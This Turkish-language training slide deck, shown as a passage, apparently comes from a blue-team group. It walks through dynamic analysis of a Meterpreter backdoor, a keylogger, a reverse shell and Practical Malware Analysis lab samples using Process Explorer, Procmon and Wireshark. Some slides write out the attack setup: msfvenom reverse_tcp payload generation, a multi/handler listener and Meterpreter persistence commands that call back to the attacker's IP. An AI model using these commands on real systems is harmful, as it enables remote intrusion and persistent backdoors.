dosyabiçiminde olacağınısöyledim."-o"yazankısmaise virüsümünçıktıolarak nereye oluşacağınıverdim.Virüsümüzü oluşturduktansonrabuvirüsüWindowsXPsanal makinesine atmamız gerekecek.Bununiçinsaldırganmakinemizde şukoduyazıyorum: Kod: python-mhttp.server80 Burada pythonile "http.server"modülükullanılarak80portu üzerindendosyapaylaşımı yapıyorum.Busayede WindowsXPmakinemize"malware.exe"adlıvirüslüdosyamızı indirebileceğiz.Şimdi WindowsXPmakineme geçipvirüslüdosyayıindiriyorum:
  • 4. İndirdiktensonraBackbox Linux işletimsistemimegeçipmsfconsoleile alttakikodlarıyazıyorum ve dinleme işlemine başlıyorum: Kod: use exploit/multi/handler setpayloadwindows/meterpreter/reverse_tcp setLHOST 192.168.190.140 setLPORT 4444 run WindowsXPsanal makinemde indirdiğimizvirüslüdosyayaçifttıklıyorumve Backbox Linux işletim sistemimizdebirtane meterpreteroturumueldeediyoruz: Elde ettiktensonrabizbusistemde arkakapıbırakmayı hedefliyordukdeğilmi.Bununiçin meterpreteroturumumuzaşukoduyazmamızgerekecektir: Kod: Run persistence-U-i 5 -p6666 -f 192.168.190.140 "-i"parametresi ile kaçsaniyedebirbizimipadresimizebağlantıgerçekleştirileceğini yazdım."-p" yazan kısım hangi port üzerindenbackdooradlıvirüsünhangi portüzerindenbizimipadresimize
  • 5. bağlantısağlayacağını yazdım ve "-f"parametresi ile de kendiipadresimiyazdım.Şimdi bukomutu çalıştıralım: Evetgörüldüğüüzere Backdooradlıvirüsümüzkarşıyaoluşturulmuşoldu.ŞimdiWindowsXP makineme geçipprocessexplorer,procmonve wiresharkadlıaraçlarımı açıp analizişlemine başlıyorum: Evetgörüldüğüüzere bizimprocessexploreraracımabaktığımda malware.exe adlıvirüslüdosyanın altındacsscript.exe açılmışonunaltındada bizimoluşturduğumuzbackdoor'ugörüyoruz.Şimdi burada csscript.exe adlıdosyanınaltındabulunan backdoordosyanınüzerine mouseile gelipsağtık yapıp Propertiesdiyorumyani buşekilde dosyanınözelliklerine bakmışolacağız:
  • 6. Propertiesdediktensonra"tcp/ip"bölümüne gelipvahimdurumugörüyoruz.Bizimkendipc'mizin local adresindenbaşkabircihazın4444 portununipadresine bağlantıkurulduğunugörüyoruz.Başka bir cihazdedimçaktırmayın;).Ve buprogramkendini5saniye de biryenileyerekbağlantı kuruyor.Buradabackdoorolduğunubirkere gözönünde bulunduruyoruz.Sonrasındaözellikler kısmında bulunanstringsbölümüne geliyorumve programıniçinde bulunanstring'leri gezerken gözüme 3 tane mavi ile işaretlediğimdll dosyasıtakılıyor:
  • 7. Bu üç dll dosyasınıdaaçıklayalım: ADVAPI32.dll:Budll dosyasıAdvancedWindows32Base APIdosyatürüdür.Budll dosyasıgenellikle OperatingSystemyazılımındakullanılır.Windowsişletimsisteminde kullanılırve dinamikbağlantı kitaplığıdosyasıdır. WSOCK32.dll:Wsock32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosyatürü olarakkabul edilir. wsock32.dll gibi DinamikBağlantıKitaplığıdosyaları,aslındasapisvr.exe gibi yürütülebilir(EXE) dosyalarıiçinbilgileri ve talimatlarıkaydedenbir"kılavuzkitaptır". WS2_32.dll: Ws2_32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosya türüolarak kabul edilir. Yukarıda saydığım 3 dll dosyasıda bağlantıdosyaları.WS2_32.dll ve ADVAPI32.dll dosylarıgenellikle zararlı yazılımlardasık rastlanılabiliyor.
  • 8. Şimdi procmonaracımı açıp processname filtresi uygulayarakbackdooryazılımınıntümregister aktivitelerini görebiliyorum: Bakın sol tarafta gösterilenmavi ileişaretlediğimzamanaktiviteleri,sağtaraftamavi ile işaretlediğim yerise WindowsXPmakinesininlocal adresindenBackbox Linuxişletimsistemininipadresine tcp bağlantısıgerçekleştiriyor.Bakın2dakikaiçerisinde22 kere tcp bağlantısıgerçekleştirmişve process yani backdoor'umuzkapanmışve sonrasındayenidenbackdoorkendini restartedipbusaydığım aktiviteleri gerçekleştiriyor.Buşekildesürekli birdöngüoluşturularakistediğimizbirzamandiliminde yenidenosisteme erişimimkanıtanıyorbackdoorbize. Şimdi de wiresharkaracınageçelim: Burada tcp filtrelemesini yapıyorum.Daharahatanalizyapabilmekiçin:
  • 9. Burada kırmızı ile gösterilen yerlerbağlantınınbaşarısızolduğuanlamınageliyorgri olanyerlerise bağlantınınbaşarılı olduğunugösteriyor.Mavi ile aldığımyere bakarsakgörüldüğüüzere tcpbağlantısı gerçekleştirliyorve kendi local hostumuzdan,saldırganipadresine tcpbağlantısıgerçekleştiriliyor.Bir tane paketinüzerine gelelimve incelemeyebaşlayalım: 959.paketinüzerine geldimve incelemeyebaşladımburadasource yazankısım bağlananyer, destinationyazanyerise bağlanılanyeranlamınageliyor.BuradaWindowsXPmakinemizsaldırganın ipadresine bağlantıgerçekleştiriyor. Protokolümüzüntcpolduğunusöylüyorburadada. Konumuzunsonunageldik.Esenlikler... KALICI METERPRETER DİNAMİK ANALİZ Kalıcı Meterpreter Dinamik Zararlı Analizi Senaryonun Özeti; 1. Metasploit ile meterpreter oturumu elde etmek 2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma 3. Oluşturulan vbs script'in dinamik analizinin yapılması Lab ortamı Kali Linux 2021.1, windows 8.1 1.Metasploit ile meterpreter oturumu elde etmek Basic bir örnekle meterpreter oturumu elde edeceğiz. Aşamaları tek tek aşağıda belirteceğim... Öncelikle Meterpreter Nedir? Meta-Interpreter'in kısaltılmışı olan meterpreter modül destekli ileri düzey bir Metasploit payload çeşitidir. Karşı bilgisayarda çalışan gelişmiş bir komut satırı desek yanlış söylemiş olmayız. Meterpreter hard diske yazma işlemi yapmaz, RAM üzerinde çalışır. Meterpreter payloadı, Metasploit ile şifreli bir şekilde iletişim kurmaktadır. Buradaki hedef kurban bilgisayarda minimum iz bırakmadır. Meterpreter çalışırken üzerine yeni modüller eklenebilir örnekte yapacağımız persistance modülü gibi.
  • 10. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5432 -f exe -o blue.exe Açıklama; -p //-- payload belirttik. -f //-- çıktının hangi formatta olacağı, -o //-- oluşturduğumuz payload'ın ismini, LHOST //-- Saldırgan makinenin adresi, LPORT //-- İletişime geçilecek portu belirtiyoruz. Ardından oluşturduğumuz payloadı /var/www/html adresine kopyaladık ve local ağdaki tüm makinelere açık hale getirdik ve tabi unutmadan, bu işlemin gerçekleşmesi için apache2 sunucumuzu aktif hale getirmemiz gerekmekte. Kontrol etmek için service --status-all yapabilirsiniz. Daha sonra msfconsole ile metasploite giriş yapalım. Payload tarafından gelen paketleri exploit/multi/handler ile yakalayacağız. exploit/multi/handler aslında tüm platformlar için geçerli bir dinleme modülü. tekrardan; set LHOST //-- Saldırgan makinenin adresi, set LPORT //-- İletişime geçilecek portu belirtiyoruz. ve
  • 11. set payload ... //-- ile payload belirttik. exploit veya run ile dinlemeye başlayalım. Herhangi bir şekilde kurban bilgisayarımızda payload çalıştığı andan itibaren meterpreter oturumumuz açılmış olacaktır. Herhangi bir sosyal mühendislik saldırısı ile kurban sistemde payloadı çalıştırdık ve meterpreter oturumu elde ettik. Şimdi ise kalıcılığı sağlayalım.. 2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma Kalıcılık neden önemli? Yukarıda elde ettiğimiz meterpreter oturumu malesef kalıcı bir oturum değil. Herhangi bir ağ bağlantısı hatası veya kurban makinenin kapatılması vb gibi durumlarda meterpreter oturumunu kaybedebiliriz. Bu örnekte persistence modülü ile kalıcılığı sağlayacağız fakat kalıcılık bir çok farklı yöntem ile elde edilebilir. Bu yöntemlerden birkaçı;  Backdoor  Direct Code Injection  S4U Persistence (Scheduled Persistence)  registry-persistence modulü Şimdi Persistence modülü ile kalıcığı sağlamaya geçelim. Meterpreter oturumunda iken yapmamız gereken.. run persistence -A -U -i 30 -p 5432 -r 192.168.1.200 Açıklama; -A //-- Multi/Handler modulü ile eşleşen script kurbanda etkinleştirildiğinde otomatik bağlantı yapmaya olanak sağlar -U //-- Hedef alınan kullanıcı bilgisi verilir. Biz tüm kullanıcılar için etkinleştirdik. -i //-- Sıradan bir payload sadece ilk çalıştığı anda kendi sunucusuna bağlantı isteği gönderir. Bu parametre sayesi ile belirtilen saniye aralığında multi/handler modulüne bağlantı isteği gönderir. -p //-- Port bilgisi -r //-- (Metasploit)Handler modülünün çalıştığı ip adres bilgisi
  • 12. Yeşil ile çevrelenmiş alanda görüldüğü üzere Temp dosyası altına hKRRGj.vsb scripti oluşturdu. Default olarak temp dosyasının altına oluşturuluyor eğer istersek -L parameteresi ile konum bilgisi verilebilir. Ayrıca bu scripti çalıştıracak kayıt anahtarı da(FauiknGLDcwlqY) SoftwareMicrosoftWindowsCurrentVersionRun içerisine eklendi. Yani sistem her açılışında otomatik olarak çalışacaktır. 3. Oluşturulan vbs script'in dinamik analizinin yapılması Malware Dinamik Analiz Nedir? Özetle Malware'in statik analiz sonrası(en sağlıklısı budur) izole edilmiş ortamda çalıştırılarak çeşitli araçlar yardımı ile etkilerinin incelenmesidir. İlk olarak ağ hareketlerinden başlayalım. hKRRGj.vsb isimli scriptimiz bilgisayarda çalışır durumda iken NetworkMiner aracımızı açıyoruz. Host sekmesinde dikkatimizi çeken bir olay var. 192.168.1.200 numaralı ip'den TCP 5432 numaralı porttan bir veri alışverişi var. Bu ip bilindiği üzere saldırgan makinenin ip adresiydi. Wireshark aracında da "tcp.port == 5432" ile de 5432 numaralı port incelenebilir.
  • 13. Burada size göstermek istediğim bir olay var. Bu olay aslında sistemde bir persistence modelinin olduğunu bize kanıtlamaktadır. Wireshark'ta Statistics > I/O Graphs bölümüne gelelim. Bilindiği gibi oluşturduğumuz vbs scripti her 30 saniyede bir bağlantı isteği gönderecekti. Burada yaklaşık 150 saniye boyunca saldırgan makineden herhangi dinleme yapılmadı. Görüldüğü gibi yaklaşık 30 saniyede bir TCP bağlantı hatası ile karşılaşılmış yani TCP Errors almış bu 150 saniye içinde 4 kez tekrarlanmış. (Kırmızı ile belirtilen yerler TCP Erros kısımları, kahverengimsi kısım ise 5432 numaralı porttan geçen alışveriş.) Fakat 5. seferde bağlanılmış. Bunu nereden anlıyoruz derseniz görüldüğü gibi bağlantının aktif olmasından dolayı yüklü bir paket artışı var ve sonrasında bu port üzerinden alışveriş devam ettiği için kahverengimsi çizgimiz de hareketlenmiş. Network kısmından şimdide sistem üzerinde neler olduğuna bakalım. Bunun kullanacağımız araçlar: Process Explorer, Process Monitor
  • 14. Process Explorer Görev yöneticisine benzerdir. Çalışan process, thread gibi bilgileri listeler. Dosyaların çağırılma konumu ve bağlantı adresleri gibi bilgileri vermektedir. Process Monitor Gerçek zamanlı olarak Dosya İşlemleri, Registry kayıtları ve process thread gibi işlemleri gösterebilir. İkisini aynı anda açalım. Process Explorer'da alışılmışın dışında bir şeyler var gerek ismi gerek cpu kullanımı üstüne çift tıklayarak incelediğimizde.. TCP/IP bölümünde o meşhur ip ve portu görmekteyiz. Parçaları tek tek kafamızda oturmaya başladı aslında. Şimdi ise Process Monitor'e geçelim burada Process Explorer ile öğrendiğimiz
  • 15. fCPcvLKpRBeF.exe dosyası ile filteleme yapalı. Bunun için Process Monitor'de Ctrl + L ile Filter kısmına gelelim. Burada Process ismine göre bir filtreleme yapacağımız için Process Name is fCPcvLKpRBeF.exe olarak filtreleme işlemi yapalım.
  • 16. Burada fCPcvLKpRBeF.exe ait bağlantıları ve registry kayıtlarını görmekteyiz. Ayrıca değişik filtrelemeler ile okunan dosyaları(ReadFile), oluşturulan dosyaları(CreateFile) incelemek mümkün. KEYLOGGER TEMEL DİNAMİK ANALİZ Merhaba,bu konumuzdakeyloggerzararlısınıntemel dinamikmalware analizini gerçekleştireceğiz. İlgili keyloggerzararlısınıyani exe dosyasınıWindowsXPsistemimde çalıştıracağımve process Explorerile ilgili süreçlerintakibiniyapacağım. Lab03-03.exe dosyasızararlı dosyamız,kendisini çalıştırdığımızanhemensvchost.exe süreci de oluşturuldu.Busüreçlerçalıştıktançokkısa birsüre içerisinde zararlımızsüreçlerarasındankayboldu. Yani buşüpheli birdurumdur.İlgili exeçalışıyorve kendini 1-2saniye içerisinde yokediyor.Şimdi svchost.exe süreciniprocessExplorerdainceleyeceğim.
  • 17. Çalıştığını dizinzararlımızın bulunduğudizini gösteriyorzaten.Parentprocesskısmınadadikkat edersenizzararlımızile ilişkisinigörebiliriz.Şimdi buradailgiliexe dosyasınaaitkarakterleri inceleyelim.
  • 18. Stringssekmesine geliyoruzalttaraftaimage seçili ikenyeralankarakterleri görüyoruz.Şimdide bellektekikarakterlere bakalımbununiçinde memoryseçeneğini işaretliyorum.
  • 19. Dikkatedersenizilkbaştadiskte yeralankarakterlerile bellekte yeralankarakterfarklı.Buradayer alankarakterlere bakarsanızklavye girdileri,girilendeğerleri kaydetmekiçinkullanılanfonksiyonlar ve aynı zamanda biradetde logdosyasıgörüyoruz.Yani aslında buzararlımızın netbirşekilde keyloggeraktivitesi gerçekleştirdiğini görebiliriz.Klavye girdileri tahminenilgili logdosyasında tutuluyor. Bakın zararlı bulunduğudizinde logdosyasınıtutuyor.Bakalımbulogdosyasınelerkaydetmiş.. ‘Blue teamsunar’klavye girdisini loglamış. Bukonumuzdatemelbirşekilde zararlısüreci analizettik ve tuşları birlog dosyasınakaydettiğini,keyloggerözelliğitaşıdığınıanladık. REVERSE SHELL TEMEL DİNAMİK ANALİZ Herkesemerhabalar, Blue Team ekibimizle birlikte malware analiz eğitimlerimize devamediyoruz. Bu hafta sizlere temel dinamik analiz tekniklerini sunuyoruz.
  • 20. Temel Dinamik Analiz Temel dinamik zararlı yazılım analizi, zararlının çalıştırılarak davranışlarının analizinin gerçekleştirilmesidir. Temel statik analizde ise zararlıyı çalıştırmadan analiz ediyorduk ancak burada zararlının işlevi yerinegetirilecektir. Temel dinamik analizinde zararlı herhangibir debuggervasıtasıyla debug edilerek incelenmez. Yani buradaassemby seviyesineinilmiyor, ileri dinamik analizden farkı bu. Buradazararlıyı sistemde çalıştıracağız ve bu zararlı ağ bağlantısı gerçekleştiriyormu, gerçekleştiriyorsa hangiip adresleri veya domainlerle iletişim kuruyor, kayıt defteri üzerindedeğişiklikler yapıyormu, dns aktivitesi, hangiprotokollerleiletişim kurduğu gibisorularacevap alacağız. Zararlı executabledosyamız Windows XP makinemiz üzerindebizi bekliyor. Ben bu zararlıyı XP makinesi üzerindeçalıştırıp çeşitli araçlar vasıtasıyla inceleyeceğim. Ama bundan öncezararlıyazılımı sanal makinam da çalıştırmadan öncesanal makinamın yedeğini alacağım. Biz bunasnapshot diyoruz İşaretlediğim ikona tıklayarak XP makinamızın şu anki halinin yedeğinialıyoruz vezararlı analizini gerçekleştirdikten sonraaldığımız yedeğegeri yüklüyoruz.
  • 21. Yedeğimize isim verip Take Snapshot diyerek oluşturuyoruz. Bu zararlıanalizimizi gerçekleştirirken iki adet işletim sistemi kullanacağım bunlardan birisi Windows XP bir diğeri ise Remnux dağıtımı olacak. Remnux, tersinemühendislik vezararlı yazılım analizleri için içerisinde birçok yazılımı hali hazırda bulunduruyor. Bu sebepten bizdekendisinden biraz faydalanacağız. Aslındaolmasada olur ama kullanılan bir sistem olduğundan basitçedeğinmek istiyorum. BuradaWindows XPsistemimizin DNS ServerIP adresiniRemnux makinasının adresi olarak tanımlayacağım ve XP üzerindeçalışan zararlının aktivitelerini Remnux üzerinden geçirerek remnux üzerindeyer alan bazıaraçlar ile analizimize destek sağlayacağız. İlgili ip adresini XP de DNS ServerIP adresiolarak vereceğim. Bu şekilde kullanılan DNS sunucu adresiniRemnux makinasının IP adresiolarak verip Remnux da dinlemeler gerçekleştireceğim.
  • 22. Remnux tarafında fakedns aracını çalıştırarak XP tarafında zararlı çalıştıktan sonragerçekleşecek bir dns sorgusu oluşmasıdurumundafakedns zımbırtısıile bunu yakalayacağız. Dahasonrabu DNS sunucularınaWireshark üzerindeodaklanacağız. Şimdi zararlı yazılımımızı Windows XP üzerindeçalıştırmadan öncekullanacağız üç tanearacı başlatıyoruz. Process Explorer, Process Monitor(Procmon)ve Wireshark araçlarını başlatıyoruz. Wireshark aracımızı çalıştırdık veağ bağlantılarını dinlemeye hazırız. Öyle hazırız ki bizim fakedns zımbırtısı hemen belirtilerini göstermiş. Sen diyor Wireshark açtın haberin olsun.
  • 23. Diğer ikilimizde bunlar. Gördüğünüz gibişu an işletim sistemimiz üzerindeçalışan prosesleriyani süreçleri buradan görebiliyoruz. Yazılım çalıştıktan sonraburadasüreçlerüzerinde netip olaylar gerçekleşecek ve aynı zamandaregistery üzerindeyani kayıt defteri üzerindebu zararlı yazılım neler gerçekleştirecek bunlarıgözlemleyeceğiz. Aaa, az kalsın unutuyordumzararlıyazılımı çalıştırdıktan sonrabağlantının sağlanacağıtarafa yani hackertarafına da bir gidelim dinlemeyi başlatalım. Bir takım aktiviteler gerçekleştirelim ki analizin tadı tuzu olsun. Hem hackliyoruz, hemanaliz ediyoruz. Zararlı yazılımı çalıştırdık ve hemen süreçlerimize bakıyoruz. Malware.exe ben geldim diyor. Saldırgan kardeşimiz de hoş geldin diyor, muradınaerdi tabii. Buradagördüğünüz gibireversebağlantı kurulmuş oldu.
  • 24. Saldırgan bizim masaüstümüzdecirit atıyor. Saldırgan zararlıyı çalıştırdıktan sonraiçerde mesajdabıraktı ben geldim diye. Biz dehoş geldin diyerek bu olayın analizini gerçekleştirelim. Şimdi process exploreradönelim ve şu malware.exe süreciniinceleyelim.
  • 25. İlgili sürecimiz 3068 process id numarasınasahip. Ayrıca bu sürecimiz Explorer.exe anasürecinden türetilmiş, bakın parent process olarak Explorer.exe ifade ediliyor. PID: 3068 PPID:1480 bunlarıelde ettik. TCP/IP sekmesine baktığım zaman zararlı yazılımım belirtilen adresin 4444 portunabağlantıkuruyor bunu daelde etmiş olduk.
  • 26. İlgili adrese çift tıkladığımız zaman stack bölmesinden degördüğünüzgibimswsock.dll, WS2_32.dll kütüphanelerinikullandığınıgörüyoruz. Neticedebirağ iletişimi sağlanıyor. Bunlarıtemel statik analizde ele almıştık. Buradan elde ettiğimiz bilgilerle process monitöryaniprocmon aracımıza gidelim vemalware.exe sürecinin gerçekleştirdiği aktiviteleri inceleyelim. Filter sekmesinden yeni bir filtre ekliyoruz. Buradasol taraftan sağadoğru açıklarsam process isimlerinden malware.exe ait olan süreçleri banagetirmesini istiyorum.
  • 27. Gördüğünüzgibimalware.exe sürecinin gerçekleştirmiş olduğu aktiviteleri ve sonuçlarınıgörebiliyoruz. Aktiviteleri incelerken görüyoruz kizararlımız TCP bağlantıları gerçekleştirmiş ve uzak bir sunucunun 4444 portunabağlantılargerçekleştirmiş.
  • 28. Bu sefer operation filtresi uygulayarak createfile aktivitelerini yani dosyaoluşturmasüreçlerini filtreliyorum. Bakın dosyaaktivitelerindezararlımız masaüstündeben_geldim_nbrdosyasınıyaratmış. Şimdi debu zararlımızın ağ taraflı aktivitelerini inceleyelim. Bunun için Wireshark programını kullanacağız. Zararlının 4444 portunabağlantıkurduğunu burayakadartespit etmiştik. Wireshark programındabunu filtreliyoruz. Gördüğünüz gibiSYN-SYN+ACK-ACK şeklindeüçlü el sıkışma buradagerçekleşip akış gerçekleşmiş yani buradabağlantının kurulup alışveriş gerçekleştiğini anlıyoruz. Ayrıcailgili zararlı sürecin TCP/IP bölgesindehangiremote adresebağlantı kurduğunugörmüştük. İlgili adreslere bağlantıkuruyorgörüldüğü gibi. Protokolistatistiklerine baktığımız zaman TCP üzerindeepey bir akış gerçekleşmiş. Ayrıca data taşındığınıgörüyoruz. Zaten TCPakışında PSH ACK verilerini görmüştük yanipakettedataolduğunu veri olduğunu bizesöylüyor.
  • 29. Follow TCP stream diyerek paketleri birleştirdiğim zaman RAW formatında inceliyorum ve bazıanlamlı fonksiyonlargözümeçarpıyor. Bu şekilde zararlımızı çalıştırıp süreçleri, gerçekleştirdiği aktiviteleri, ağ bağlantılarını inceleyebiliriz. Kısaca buradazararlımız hedef sistemle reverse bağlantıkuruyor. Bu konumuzdabu kadar. PMA LAB 03-01 TEMEL DİNAMİK ANALİZ PMA Lab03-01 Temel Dinamik Analiz Bu yazımızda PMA Lab03-01'in temel dinamik analizini yapıyor olacağız. Kullanılan Araçlar: Process Explorer, Process Monitor ve Wireshark Sistem: Windows xp sp3 Laboratuvar ortamında Process Explorer, Process Monitor ve Wireshark araçlarını açalım. Ardından PMA Lab03-01'i çalıştıralım. İlk olarak Process Explorer ile sistemimizde çalışan processler(süreçler) hakkında bilgi sahibi olmayız. Özellikle de konumuz olan Lab03-01.exe hakkında... Process Explorer'da Lab03-01.exe sürecinin üzerine tıklayıp Ctrl + D kombinasyonu ile Lab03-01.exe sürecinin belleğe yüklediği dll görülmektedir.
  • 30. Burada dikkatimizi çeken hususlar var. Öncelikle soket ile ilgili dll'ler mevcut. En dikkat çekeni ws2_32.dll bilindiği üzere ağ ile ilgili görevleri gerçekleştiren bir dll dosyası. Yani burada ağ üzerinde bir işlem var bunu biliyoruz. Diğer dikkat çeken advapi32.dll bu da bilindiği üzere Hizmet yöneticisi ve kayıt defteri gibi gelişmiş çekirdek Windows birleşenlerine erişim sağlar. Tekrardan sürecinin üzerine tıklayıp Ctrl + H kombinasyonu ile handle'ler görülebilmektedir.
  • 31. Görüldüğü gibi WinVMX32 isimli bir mutex oluşturulmuş. Devam edelim ve Lab03-01.exe sürecinin üzerine iki kere tıklayalım karşımıza properties sekmesi gelecektir. Buradaki strings bölümünü inceleyecek olursak..
  • 32. Dikkatimizi çeken yerlere değinmek istiyorum. İlk olarak, SOFTWAREMicrosoftWindowsCurrentVersionRun dizinini kullanarak kendini başlangıca alıyor. Bu zararlılarda sık görülen bir durum bilgisayar her başlatıldığında çalışmasına olanak tanıyor. www.praticalmalwareanalysis.com olarak adlandırılmış bir url mevcut. Zararlının iletişime geçtiği url olarak düşünülebilir. ! This program cannot be run in DOS mode. ibaresine gelecek olursak bu ibare aslında bir malware şüphesi uyandırabilir. Bununla ilgili güzel bir açıklama var linkini bırakıyorum. https://twitter.com/jepayneMSFT/status/969742842410094593 CONNECT %s:%i HTTP/1.0 buradaki http başlığı ise bir http bağlantısı olduğunu göstermekte. Yani malware bağlantı yaptığına dair kanıtları güçlendirdi. WinVMX32 bahsetmiştik vmx32to64.exe ve VideoDriver'dan ise aşağıda bahsedeceğiz.
  • 33. Ayrıca image bölümündeki verify özelliği sayesinde çalışan sürecin sisteme ait olup olmadığını bir nevi orjinalliği kontrol edilebilmektedir. Aşağıda Lab03-01.exe sürecinin ve sisteme ait bir sürecin karşılaştırmasını göstereceğim. Daha net anlaşılması açısından. Şimdi ise Process Monitor aracına geçelim. Process Monitor sayesinde kayıt defteri, dosya işlemleri vs. gibi bilgileri takip edebileceğiz. Ctrl + L ile filtreleme kısımını açıp pid numarası ile "PID is 2456" ve "Operation is RegSetValue" olarak filtrelediğimiz zaman pid numarası 2456 olan sürecin registry kayırlarını filtreleyebilmekteyiz. Strings bölümünde de bahsetmiştik ama burada biraz daha fazla detay görebilmekteyiz.
  • 34. SOFTWAREMicrosoftWindowsCurrentVersionRun sayesinde kendini başlangıca alıyordu demiştik. Aslında buradaki durum SOFTWAREMicrosoftWindowsCurrentVersionRun dizisinin altına VideoDriver adlı bir anahtar eklemesidir. Değer olarak da yani başlangıçta yazılan ve başlatılan kötü amaçlı yazılım olarak da vmx32to64.exe olarak görmekteyiz. Wireshark ile de bir inceleme yapalım. Yukarıda elde ettiğimiz url adresini paket detaylarında string olarak filtrelediğimizde ilgili dns paketlerini bize göstermektedir.
  • 35. PMA LAB 03-02 TEMEL DİNAMİK ANALİZ 1. sorunun kısaca meali bu zararlıyı yüklemesini nasıl yapabiliriz diye sormakta ancak bundan önce her zamanki gibi virus totala atmak daha doğru bir hareket olacaktır belki bu DLL dosyasını daha önceden analiz eden biri vardır veya aynı hash degerine sahip başka isimli dll dosyaları da mevcut olabilir bu yüzden virus totala atarak başlayalım.
  • 36. ilk başta bu dll dosyaları dikkatimizi çekti normalde bu kadar detaylı vermeyebilir daha önceden birileri incelediği için gerekli notları düşmüş. Kullandığı dlller ve çalışması için bazı parametreler. CF daha önceden analiz edildiği daha biz analiz etmeden DLL hakkında birçok bilgiye sahip olduk ancak bu kadarıda yeteli değil bizim için ve şimdi severekte kullanmayı çok sevdiğim all in one tadında bir aracı kullanmaya geldi Pestudio
  • 37. v hiç uzatmadan DLL in kendini çalıştırırken yardım aldığı DLL ler ve kullandıkları fonksiyonları görmektediz bu bilgilerin hepsi bizim için IOC verileridir ve rapor hazırlarken bunlar önem arz etmektedir. V şimdi ise string kısmına gelelim Siyah ok ile gösterdiğim bize (KEYLOGGER) havası oluşturmada keylogger analizi konumuza baktığımızda ne demek istediğim daha net anlaşılacaktır. Mavi ok ile gösterilen ise registry kaydını görmekteyiz Svchost görev yöneticimizde çok olan bir exe gizlenmek için güzel bir ad kırmızı ok ise bir fonksiyon olabilir ve de cmd.exe yi de kullanmasıda bir veri
  • 38. v şimdi ise kullanılan dll leri ve de özellikle bir linke denk geldik dos-message dediğimiz kavram ise dll çalıştığında ekrana verilecek mesajdan bahsetmektedir. Şimdi ise Dll dosyamız herhangi bir paketlemeye maruz kalıp kalmadığını araştıralım. PeiD aracı ile de gördüğünüz gibi herhangi bir paketleme mevcut değil. Konumuz dinamik analiz olduğu için kaynak kodlarını incelemeyeceğiz. Şimdi 1. sorumuza dönecek olursak Dll nasıl yükleyeceğiz bundan önce de dinamik analiz için gerekli ortamları hazır ettiğimizden emin olalım ProcessMonitor , Process Explorer ve Wireshark bu programlarımız hazır ise çalıştırmaya başlayalım.
  • 39. görüldüğü üzere rundll32 yani dll çalıştırıcı ile çalıştırıyoruz kullanılan parametreyi biliyoruz şimdi ise cmd terminalinde başlatmadan önce Process Monitor başlatıp yakala diyelim ve hemen ardından cmd ile DLL dosyamızı yükleyelim başladıktan bir süre sonra filtre diyerek Reg kaydı için yukarıdaki işlemleri uygulamamız gerekiyor evet dedikten sonra
  • 40. kayıtları inceliyoruz ve oluşturulan hizmet adı dikkatimiz çekiyor string analizde de buna rastlamıştık şu ana kadar dll i kurduk ve bu monitör sayesinde oluşturulan servis adını tespit ettik bu şekilde 1. sorunun , 4. sorunu ve 5. sorunun cevaplarını vermiş olduk 5 için zararlını ana bilgisayar tabanlı göstergelerini sormuştu hizmet oluştuması bunu destekliyor. 4. soruda procmon fitrelerini kullanarak veri elde etmeyi nasıl yaparız idi kastı biz ise bilgisayarda oluşturduğu servisin adını öğrenmiş olduk şimdi ise gelelim 2. sorumuza bu servisi nasıl aktif edebilir genel olarak yeniden başlatarak yapılabilir ancak o zamanda analiz programlarımız aktif etmekle uğraşarak ıoc verilerini kaybederiz az önce servisin adını öğrenmiştik hizmetlere girerek servisi başlatmak daha doğru bir karar olur
  • 41. cmd komut satırına SERVICES.MSC yazarak hizmetleri başlatabilirsiniz zararlı
  • 42. hizmetlerimizin üstüne tıklayarak başlatalım ve olacakları izleyelim :) görüldüğü gibi svchost açıldı ancak daha emin olabilmek adına Find DLL diyerek hedef odaklı çalışalım ve bulduk uzerine tıklayarak hangi servismiş görelim görüldüğü üzere konumları ve altında çalıştırdığı diğer programlarıda görebiliyoruz
  • 43. satan üzerine geldiğimizde apaçık el sallıyor tabi daha profesyonel yazılımlarda bu kadar bariz değil ancak niyetini net bir şekilde gözler önüne seriyor :) altında da 2 adet exe çalıştırıyor bunu göstererek de 3. sorumuz yani zararlının altında çalıştığı süreci nasıl bulabiliriz yanıtını vermiş olduk son sorumuza cevap verecek olursak eğer ağ kaydımız ile Wireshark üzerindeki IOC verilerini değerlendireceğiz
  • 44. bağlantı kurduğu adresi bize atanan ıd yi giden gelen verileri de görmüş olduk PMA LAB 03-03 TEMEL DİNAMİK ANALİZ Merhabalar, PMA Lab 03-03 zımbırtısını çözeceğiz. Sorulara bi' göz atalım; İlk soruyla vakit kaybetmeden başlayalım. Bu zararlıyazılımı Process Explorer ile izlerken gözüne ne çarptı diye sormuş eleman. Ne fark edeceğiz bir bakalım. Öncelikle Process Explorer ve Procces Monitörü açtım doğal olarak. Process Monitor'de Capture butonuna basarak event log almaya başlayabiliriz artık.
  • 45. Lab03-03.exe'mizi çalıştırabiliriz artık fakat çalıştırıldıktan sonra Process Explorer'da gözüktüğüne emin olmalıyız. Subprocess svchost.exe (DLL dosyalarından başlatılan işlemlerin yürütülmesini sağlayan bir sistem zımbırtısı)'yi oluşturup sona erdirebiliyor burada pek olağan dışı bir şey yok. Ama aradan 5 saniye geçmeden subprocces event'inde olan svchost.exe'miz orphaned process durumuna yani resimden de anlaşılacağı üzere üst süreci tamamlanmış olan ama hala çalışan bir sürece dönüşüyor. Ufak bir şaşkınlıktan sonra ilk soruyu çözdüğümüzü fark ediyoruz. Gözümüze çarpan şey yeni bir svchost.exe'nin saçma sapan bir şekilde orphaned process olarak kopyalanmasıydı yukarıda da gördüğünüz gibi. Önümüzde daha 3 soru var yolumuza devam edelim. İkinci soruda bize yazılımın hafıza değişikliklerini bize gösteriver diyor. Benim burada aklıma direkt stringlere göz atmak geldi. Yeni svchost.exe'mize sağ tık yapıp özellikler diyor ve string bölümüne bakıyoruz. Önce image stringlere bakalım;
  • 46. Şimdi de asıl odağımız memory stringlere;
